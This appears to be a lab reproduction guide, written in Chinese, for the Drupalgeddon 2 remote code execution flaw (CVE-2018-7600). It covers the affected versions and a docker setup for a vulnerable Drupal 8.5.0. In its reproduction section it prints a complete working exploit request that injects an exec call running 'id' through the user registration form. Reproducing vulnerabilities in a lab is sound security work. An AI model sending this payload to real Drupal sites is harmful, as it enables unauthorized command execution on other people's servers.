Aaron
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43 lines
1.5 KiB
Markdown
43 lines
1.5 KiB
Markdown
# Drupal Drupalgeddon 2 未授权远程代码执行漏洞（CVE-2018-7600）
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Drupal是一个使用PHP编写的免费开源的Web内容管理框架。
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在Drupal 7.58之前的版本、8.3.9之前的8.x版本、8.4.6之前的8.4.x版本和8.5.1之前的8.5.x版本中存在远程代码执行漏洞。该漏洞影响了多个具有默认或常见模块配置的子系统，包括Form API。
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参考链接：
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- <https://www.drupal.org/sa-core-2018-002>
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- <https://research.checkpoint.com/uncovering-drupalgeddon-2/>
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## 环境搭建
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执行如下命令启动一个存在漏洞的Drupal 8.5.0服务器：
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```
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docker compose up -d
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```
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环境启动后，访问`http://your-ip:8080/`将会看到Drupal的安装页面。使用"标准"配置文件完成Drupal安装。由于环境中没有MySQL，安装时应选择SQLite数据库。安装完成后，即可开始漏洞利用。
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## 漏洞复现
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参考[a2u/CVE-2018-7600](https://github.com/a2u/CVE-2018-7600/blob/master/exploit.py)，我们可以向Drupal发送以下请求：
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```
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POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
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Host: your-ip:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 103
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form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
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```
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代码执行成功后，id命令将被执行：
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